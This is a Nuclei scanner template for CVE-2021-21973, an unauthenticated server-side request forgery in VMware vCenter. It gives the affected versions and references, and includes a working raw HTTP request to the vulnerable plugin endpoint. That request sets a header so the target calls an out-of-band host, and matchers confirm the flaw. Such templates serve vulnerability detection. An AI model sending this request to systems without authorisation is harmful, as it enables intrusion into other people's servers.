nuclei-templates/cves/2021/CVE-2021-21973.yaml

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id: CVE-2021-21973
info:
name: VMware vCenter Unauthenticated SSRF
author: pdteam
severity: medium
description: The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-21973
- https://twitter.com/osama_hroot/status/1365586206982082560
- https://twitter.com/bytehx343/status/1486582542807420928
- https://www.vmware.com/security/advisories/VMSA-2021-0002.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-21973
cwe-id: CWE-918
tags: cve,cve2021,vmware,ssrf,vcenter,oast,kev
requests:
- raw:
- |
GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
Host: {{Hostname}}
Vcip: {{interactsh-url}}
Vcpassword: {{rand_base(6)}}
Vcusername: {{rand_base(6)}}
Reqresource: {{rand_base(6)}}
matchers-condition: and
matchers:
- type: status
status:
- 500
- type: word
part: body
words:
- "The server sent HTTP status code 200"